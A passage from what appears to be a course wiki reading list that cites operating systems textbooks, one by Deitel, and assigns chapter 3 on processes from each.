  • Wiley, ISBN: 978-0-471-76907-1
  • Chapter(s): #3 (Processes)


[DEIT] Operating Systems

  • Deitel, ISBN: 0131828274
  • Chapter(s): #3 (Processes)
Personal tools